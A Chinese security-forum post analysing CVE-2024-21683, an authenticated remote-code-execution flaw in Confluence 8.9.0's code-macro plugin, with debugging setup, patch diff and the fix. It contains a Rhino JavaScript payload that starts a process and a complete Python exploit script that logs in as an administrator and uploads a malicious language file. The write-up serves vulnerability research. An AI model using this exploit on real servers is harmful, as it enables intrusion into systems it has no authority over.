问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-21683——Confluence Data Center and Server认证后RCE漏洞分析
漏洞分析
CVE-2024-21683的漏洞分析,欢迎留言交流。
一、漏洞调试环境搭建 ========== 以`8.9.0`和`8.9.1`为例: > <https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.0.tar.gz> > > <https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.1.tar.gz> 然后使用`idea`来`diff`查看不同: ```shell "D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0" "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.1" ``` 但是由于`jar`包的名字里面有版本号,而由于版本号的不同,会导致查看不同的时候不会展示不同版本的`jar`包之间的差异,因此我们需要对版本号进行处理,可以是把它删掉,也可以是替换成`x.x.x`。我们先把`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins`、`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\lib`和`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins-setup`下的所有`jar`包复制到了`D:\vuln_image\confluence\diff\lib890`,然后`8.9.1`版本也同样这么做,接着根据后者思路写出`python`脚本如下: ```python import os import re folder_path = r'D:\vuln_image\confluence\diff\lib890' version_regex = r'\d+\.\d+\.\d+' files = os.listdir(folder_path) for file_name in files: version_match = re.search(version_regex, file_name) if version_match: new_file_name = re.sub(version_regex, 'x.x.x', file_name) old_file_path = os.path.join(folder_path, file_name) new_file_path = os.path.join(folder_path, new_file_name) os.rename(old_file_path, new_file_path) print(f'Renamed {file_name} to {new_file_name}') ``` 然后改个文件夹再跑一遍`8.9.1`版本的: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-e460bd99601add277d83d36cbfd4728656b0eaed.png) 当然,部分`jar`包的版本号是`4`位的,不过比较少,我就懒得改脚本了,万一真遇到了就最后单独分析看看。 再`diff`就可以了: ```shell "D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\lib890" "D:\vuln_image\confluence\diff\lib891" ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3dc65f6e5349b606ede469ff5bb6edb6fb40ba70.png) 然后`idea`打开`D:\vuln_image\confluence\atlassian-confluence-8.9.0`,修改`bin`目录下的`setenv.bat`,添加这么一行: ```bat set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8866 %CATALINA_OPTS% ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-288550ce1fc78e998a8241833bcee5b152d3ea2b.png) 并配置远程调试: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2623a61ccf2d0e4913f55f09cdf60eb4672fcee5.png) 然后把上面提到的三个库文件夹右键`Add as Libriary`。 二、漏洞代码分析 ======== 从上往下翻,发现`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins\com.atlassian.confluence.ext.newcode-macro-plugin-18.9.8.jar`进行了一处安全修复,因为名字实在是太显眼了,从`initStandardObjects`变成了`initSafeStandardObjects`,多加了个`safe`,极有可能就是本漏洞的问题所在: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-76f896de2dbdedf032f9b04984afcf221d4ee7ad.png) 定位到源代码`com.atlassian.confluence.ext.code.languages.impl.RhinoLanguageParser`: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-6af9da36c0b979f4901d5bb08ce0967fb4cad3fc.png) 漏洞对应功能位于`http://192.168.198.1:8090/admin/plugins/newcode/configure.action#`这里的`添加新语言`这个表单: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-0d2c47df73ec970b4211451caf87ebade7e85fb9.png) 下断点,然后传文件进行调试看看: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-22bfb57580b2c6449a91a6d165d5c6285b1d4168.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-e342abe2f075064c0be2dc6827f4f63858cfcee9.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-292c6cf4b90efd7183468821fe404d04ebe0d901.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-07d760f85a86f50443e73435e28385d6d400c6a9.png) `F8`到`evaluateString`函数这里之后`F7`步入进去看看具体的逻辑: ![](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-ea909592d8333bd400b46653d7fdc6f429b5e53c.png) 这里我们右键`value`,以字符串形式来显示,然后`view text`: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-cdfddcfd0b3d048537a1a909169418a141858f9f.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f7d5bb9f9a07eb95e7bbfdae2f5699484110f38d.png) 可以看到,我们的`text.js`中的`text`被放置在如下位置: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-163fcea4b991730c1456c5c87b72c5889af9dc13.png) 我们仔细看看这段代码: ```java public final Object evaluateString(Scriptable scope, String source, String sourceName, int lineno, Object securityDomain) { Script script = this.compileString(source, sourceName, lineno, securityDomain); return script != null ? script.exec(this, scope) : null; } ``` 可以参考以下两篇文章: > [https://blog.51cto.com/u\_16213644/7333014](https://blog.51cto.com/u_16213644/7333014) > > <https://dev.ariel-networks.com/Members/iwanaga/rhino-code-reading03/> 也就是说,会编译传入的脚本源代码,如果编译成功的话就执行该脚本并返回执行结果,如果编译失败,就返回 `null`。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-c8b9db780053a064632fa21c06dde3d858624a79.png) 而这个`evaluateReader`函数的第二个参数包含我们传入的脚本,并且它的代码没有任何安全过滤的操作,因此我们可以自定义一些恶意的代码,例如: ```javascript new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start() ``` 具体还可以参考下面的文章学习: > <https://blog.h3xstream.com/2014/11/remote-code-execution-by-design.html> > > <https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html> > > <https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection/el-expression-language> ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-31cdeae5bfbbd119c961bf0225d2217cbcc298af.png) 那官方是怎么修复的呢?使用`initSafeStandardObjects`定义`rhino`的上下文,防止`JavaScript`引擎调用`Java`代码: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3eac8a311407082591dd6a96fd1aa65fa7f2f6d2.png) 这部分知识其实也可以参考: > <https://help.aliyun.com/zh/security-center/user-guide/learn-about-application-protection> ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-fa3132a25cfb2259d078421b4886bec8019311b5.png) 三、自动化脚本编写 ========= <https://github.com/W01fh4cker/CVE-2024-21683-RCE> ```python import argparse import os import requests from bs4 import BeautifulSoup def GeyAltToken(url, proxy, session): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" } alttoken_url = f"{url}/admin/plugins/newcode/configure.action" resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20) if "atlassian-token" in resp.text: soup = BeautifulSoup(resp.text, 'html.parser') meta_tag = soup.find('meta', {'id': 'atlassian-token', 'name': 'atlassian-token'}) if meta_tag: content_value = meta_tag.get('content') return content_value else: print("Meta tag not found") def LoginAsAdministrator(session, url, proxy, username, password): login_url = url + "/dologin.action" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F" session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20) def DoAuthenticate(session, url, proxy, password, alt_token): login_url = url + "/doauthenticate.action" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action" session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20) def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token): url = f"{url}/admin/plugins/newcode/addlanguage.action" data = { "atl_token": alt_token, "newLanguageName": "test" } files = { "languageFile": ( jsFilename, jsFileContent, "text/javascript") } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" } session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20) def ParseArgs(): parser = argparse.ArgumentParser(description="CVE-2023-20198-RCE") parser.add_argument("-u", "--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True) parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False) parser.add_argument("-au", "--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True) parser.add_argument("-ap", "--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True) parser.add_argument("-f", "--file", type=str, help="exploit file", default="exploit.js", required=True) parser.add_argument("-n", "--name", type=str, help="newLanguageName", default="test", required=True) return parser.parse_args() if __name__ == '__main__': args = ParseArgs() if not args.proxy: proxy = {} else: proxy = { "http": args.proxy, "https": args.proxy } session = requests.session() jsfn = os.path.basename(args.file) jsfc = open(args.file, "r", encoding="utf-8").read() LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password) alt_token = GeyAltToken(args.url.strip("/"), proxy, session) DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_username, alt_token) UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token) ``` 效果: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-36885eb796a13d538ec27b3cfb9610c2be779f9b.png) 四、后记 ==== 这个漏洞官方说需要验证,但是这个功能点是管理员组用户才具有的,因此普通用户账户应当是无法利用的,并且我也没找到其他地方存在配置代码宏这个功能对应的函数,不排除我落了某些地方;可能会有人有疑问,我都有管理员组账户的账号密码了,我还这么费劲地`RCE`干嘛,不能直接传插件`RCE`吗?但是至少我测试的`8.9.0`版本已经去除了这个功能,其他版本我具体也没去查: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3a8071cf0b5cace973dc791ca7c223b22f191221.png)
发表于 2024-05-24 14:07:16
阅读 ( 18156 )
分类:
漏洞分析
1 推荐
收藏
3 条评论
pysnow
2024-05-30 16:54
中间图片好像错位了
W01fh4cker
回复
pysnow
是的,我当时传的时候没注意,改天我换下,可以先看我公众号的:https://mp.weixin.qq.com/s/KFOR514HBonq-sA0ZhCWDA
请先
登录
后评论
Dylan_zhaoer
2024-08-09 16:13
大佬 现在看到代码就头疼
请先
登录
后评论
请先
登录
后评论
W01fh4cker
登山爱好者
5 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!